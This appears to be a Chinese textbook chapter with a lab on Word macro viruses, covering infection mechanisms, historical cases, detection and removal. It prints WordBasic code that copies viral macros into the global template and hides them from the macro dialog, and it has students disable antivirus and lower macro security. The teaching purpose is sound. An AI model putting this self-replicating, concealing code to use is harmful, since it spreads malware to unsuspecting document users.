第六章 宏病毒本章的学习目标
掌握宏病毒概念
掌握宏病毒制作机制
了解宏病毒实例
掌握宏病毒防范方法
掌握宏病毒实验宏病毒定义
宏病毒是利用系统的开放性专门制作的一个或多个具有病毒特点的宏的集合,这种病毒宏的集合影响到计算机的使用,并能通过文档及模板进行自我复制及传播。
支持宏病毒的应用系统特点
要达到宏病毒传染的目的,系统须具备以下特性:
– 可以把特定的宏命令代码附加在指定文件上;
– 可以实现宏命令在不同文件之间的共享和传递;
– 可以在未经使用者许可的情况下获取某种控制权。
可支持宏病毒的应用系统
Microsoft公司的 WORD,EXCEL,Access、
PowerPoint,Project,Visio等产品;
Inprise公司的 Lotus AmiPro字处理软件;
此外,还包括 AutoCAD,Corel Draw、
PDF等等。
宏病毒的特点
传播极快
制作、变种方便
破坏可能性极大
多平台交叉感染
地域性问题宏病毒的共性
宏病毒会感染 DOC文档文件和 DOT模板文件。
打开时激活,通过 Normal模板传播。
通过 AutoOpen,AutoClose,AutoNew和
AutoExit等自动宏获得控制权。
病毒宏中必然含有对文档读写操作的宏指令。
宏病毒的作用机制
模板在建立整个文档中所起的作用是作为一个基类。新文档继承模板的属性(包括宏、菜单、格式等)。
编制宏病毒要用到的宏如右表类别 宏 名 运行条件自动宏 AutoExec 启动 Word或加载全局模板时
AutoNew 每次创建新文档时
AutoOpen 每次打开已存在的文档时
AutoClose 在关闭文档时
AutoExit 在退出 Word或卸载全局模板时标准宏 FileSave 保存文件
FileSaveA
s
改名另存为文件
FilePrint 打印文件
FileOpen 打开文件
Word宏病毒感染过程
编制语言 VBA\WordBasic等
环境,VBE
打 开 被 感染 的 文 档把 宏 加 载 到内 存运 行 自 动 宏宏 病 毒 将 自己 复 制 到 全局 模 板新 建 ( 打 开 )
的 文 档 被 感 染经典宏病毒 -美丽莎 Melissa
这个病毒专门针对微软的电子邮件服务器
MS Exchange和电子邮件收发软件 Outlook
Express,是一种 Word宏病毒,利用微软的 Word宏和 Outlook Express发送载有 80个色情文学网址的列表,它可感染 Word 97或
Word 2000。当用户打开一个受到感染的
Word 97或 Word 2000文件时,病毒会自动通过被感染者的 MS Exchange 和 Outlook
Express的通讯录,给前 50个地址发出带有
W97M_MELISSA病毒的电子邮件。
如果某个用户的电子信箱感染了“美丽杀手”病毒,那么,在他的信箱中将可以看到标题为,Important message from XX(来自 XX的重要信息 )”的邮件,其中 XX是发件人的名字。正文中写道,“这是你索要的文件 …… 不要给其他人看 ;- )。”此外,该邮件还包括一个名为 list.doc的 Word文档附件,其中包含大量的色情网址。
经典宏病毒 -台湾 NO.1B
病毒发作时,只要打开一个 Word文档,就会被要求计算一道 5个至多 4位数的连乘算式。由于算式的复杂度,很难在短时间内计算出答案,一旦计算错误,Word就会自动开启 20个新窗口,然后再次生成一道类似的算式,接着不断往复,直至系统资源耗尽。
经典宏病毒 -O97M.Tristate.C病毒
O97M.Tristate.C宏病毒可以交叉感染 MS Word
97,MS Excwel 97和 MS PowerPoint 97等多种程序生成的数据文件。病毒从 Word文档,Excel
电子表格或 PowerPoint幻灯片被激活,并进行交叉感染。病毒在 Excel中被激活时,它在 Excel
Startup目录下查找文档 BOOK1.XLS,如果不存在,病毒将在该目录下创建一个被感染的工作簿并使 Excel的宏病毒保护功能失效。病毒存放在被感染的电子表格的,ThisWorkbook”中。
宏语言
Office程序和它们所使用的宏语言
Office程序版本宏语言
Word 6.x,7.x WordBasic
Excel 5.x,7.x VBA 3.0
Office 97,Word 8.0,Excel 6.0\8.0,Project 98,Access 8.0
VBA 5.0
Office 2K,Outlook 2K,FrontPage 2K VBA 6.0
Office XP,Outlook 2002,Word 2002,Access 2002,FrontPage
2002 VBA 6.3
使用 VBA可以实现的功能包括:
– ( 1)使重复的任务自动化
– ( 2)自定义 Word工具栏、菜单和界面
– ( 3)简化模板的使用
– ( 4)自定义 Word,使其成为开发平台宏病毒关键技术
( 1)自动执行的示例代码:
– Sub MAIN
– On Error Goto Abort
– iMacroCount = CountMacros(0,0)
– '检查是否感染该文档文件
– For i = 1 To iMacroCount
– If MacroName$(i,0,0) = "PayLoad" Then
– bInstalled = - 1
– '检查正常的宏
– End If
– If MacroName$(i,0,0) = "FileSaveAs" Then
– bTooMuchTrouble = - 1
– '但如果 FILESAVEAS 宏存在那么传染比较困难,
– End If
– Next i
– If Not bInstalled And Not bTooMuchTrouble
Then
– '加入 FileSaveAs 和拷贝到 AutoExec and FileSaveAs.
– '有效代码不检查是否感染,
– '把代码加密使不可读,
– iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
– sMe$ = FileName$()
– Macro$ = sMe$ + ":PayLoad"
– MacroCopy Macro$,"Global:PayLoad",1
– Macro$ = sMe$ + ":FileOpen"
– MacroCopy Macro$,"Global:FileOpen",1
– Macro$ = sMe$ + ":FileSaveAs"
– MacroCopy Macro$,"Global:FileSaveAs",1
– Macro$ = sMe$ + ":AutoExec"
– MacroCopy Macro$,"Global:AutoExec",1
– SetProfileString "WW6I",Str$(iWW6IInstance + 1)
– End If
– Abort:
– End Sub
( 2) SaveAs 程序:
– 这是一个当使用 FILE/SAVE AS功能时,拷贝宏病毒到活动文本的程序。它使用了许多类似于 AutoExec程序的技巧。尽管示例代码短小,
但足以制作一个小巧的宏病毒。
– Sub MAIN
– Dim dlg As FileSaveAs
– GetCurValues dlg
– Dialog dlg
– If (Dlg.Format = 0) Or (dlg.Format = 1) Then
– MacroCopy "FileSaveAs",WindowName$() +
":FileSaveAs"
– MacroCopy "FileSave ",WindowName$() +
":FileSave"
– MacroCopy "PayLoad",WindowName$() +
":PayLoad"
– MacroCopy "FileOpen",WindowName$() +
":FileOpen"
– Dlg.Format = 1
– End If
– FileDaveAs dlg
– End Sub
( 3) 特殊代码:
– 还有些方法可以用来隐藏和使你的宏病毒更有趣。当有些人使用
TOOLS/MICRO菜单观察宏时,该代码可以达到掩饰病毒的目的。
– Sub MAIN
– On Error Goto ErrorRoutine
– OldName$ = NomFichier$()
– If macros.bDebug Then
– MsgBox "start ToolsMacro"
– Dim dlg As OutilsMacro
– If macros.bDebug Then MsgBox "1"
– GetCurValues dlg
– If macros.bDebug Then MsgBox "2"
– On Error Goto Skip
– Dialog dlg
– OutilsMacro dlg
– Skip:
– On Error Goto ErrorRoutine
– End If
– REM enable automacros
– DisableAutoMacros 0
– macros.SaveToGlobal(OldName$)
– macros.objective
– Goto Done
– ErrorRoutine:
– On Error Goto Done
– If macros.bDebug Then
– MsgBox "error " + Str$(Err) + " occurred"
– End If
– Done:
– End Sub
Word宏病毒发现方法
在 Normal模板发现有 AutoOpen等自动宏,FileSave等标准宏或一些怪名字的宏,而自己又没有加载特殊模板,这就有可能有病毒了。
当打开一个文档时,未经任何改动,立即就有存盘操作
打开以 DOC为后缀的文件在另存菜单中只能以模板方式存盘
无法使用“另存为( Save As)”修改路径
不能再被转存为其它格式的文件
DOC文件具备与 DOT文档相一致的内部格式 (尽管文件扩展名未改变 )。
手工清除宏病毒的方法
1.打开宏菜单,在通用模板中删除您认为是病毒的宏。
2.打开带有病毒宏的文档(模板),然后打开宏菜单,在通用模板和病毒文件名模板中删除您认为是病毒的宏。
3.保存清洁文档。
预防宏病毒
对于已染毒的模板文件( Normal.dot),应先其中的自动宏清除( AutoOpen,AutoClose、
AutoNew),然后将其置成只读方式。
对于其他已染毒的文件均应将自动宏清除,这样就可以达到清除病毒的目的。
平时使用时要加强预防。对来历不明的宏最好删除。
先禁止所有自动执行的宏。
安装反病毒软件。
Word宏病毒实验
【 实验目的 】
– 演示宏的编写
– 说明宏的原理及其安全漏洞和缺陷
– 理解宏病毒的作用机制
【 实验平台 】
– Windows系列操作系统
– Word 2003应用程序
【 实验步骤 】
– 软件设置:关闭杀毒软件的自动防护功能。
– 打开 Word 2003,在工具?宏?安全性中,将安全级别设置为低,在可靠发行商选项卡中,
选择信任任何所有安装的加载项和模板,选择信任 visual basic项目的访问。
实验一:自我复制功能演示。
打开一个 word文档,然后按 Alt+F11调用宏编写窗口
(工具?宏?Visual Basic?宏编辑器),在左侧的
project—>Microsoft Word对象?ThisDocument中输入源代码(参见源代码一或者从光盘上拷贝,位置为:
“光盘盘符,\ Experiment\macro\macro_1.txt”),保存。
此时当前 word文档就含有宏病毒,只要下次打开这个
word文档,就会执行以上代码,并将自身复制到
Normal.dot( word文档的公共模板)和当前文档的
ThisDocument中,同时改变函数名(模板中为
Document_Close,当前文档为 Document_Open)。此时所有的 word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响 word的正常使用,
本例中只是简单的跳出一个提示框。
实验二:类台湾 1号病毒实验
对实验一的恶意代码稍加修改,使其具有一定的破坏性(这里以著名宏病毒“台湾
1号”的恶意代码部分为基础,为使其在
word2003版本中运行,且降低破坏性,
对源代码作适当修改)。实验二的源码参见源代码二或者从光盘上拷贝,位置为:
“光盘盘符,\
Experiment\macro\macro_2.txt”。
该病毒的效果如下:当打开被感染的 word文档时,
首先进行自我复制,感染 word模板,然后检查日期,看是否是 1日(即在每月的 1日会发作),然后跳出一个对话框,要求用户进行一次心算游戏,
这里只用四个小于 10的数相乘,如果用户的计算正确,那么就会新建一个文档,跳出如下字幕:
“何谓宏病毒,答案:我就是,.....;如何预防宏病毒,答案:不要看我,.....”。如果计算错误,新建
20个写有“宏病毒”字样的 word文档,然后再一次进行心算游戏,总共进行 3次,然后跳出程序。
关闭文档的时候也会执行同样的询问。
清除宏病毒
– 对每一个受感染的 word文档进行如下操作:
– 打开受感染的 word文档,进入宏编辑环境
( Alt+F11),打开 Normal?Microsoft Word对象
This Document,清除其中的病毒代码(只要删除所有内容即可)。
– 然后打开 Project?Microsoft Word?This
Document,清除其中的病毒代码。
– 实际上,模板的病毒代码只要在处理最后一个受感染文件时清除即可,然而清除模板病毒后,如果重新打开其他已感染文件,模板将再次被感染,因此为了保证病毒被清除,可以查看每一个受感染文档的模板,
如果存在病毒代码,都进行一次清除。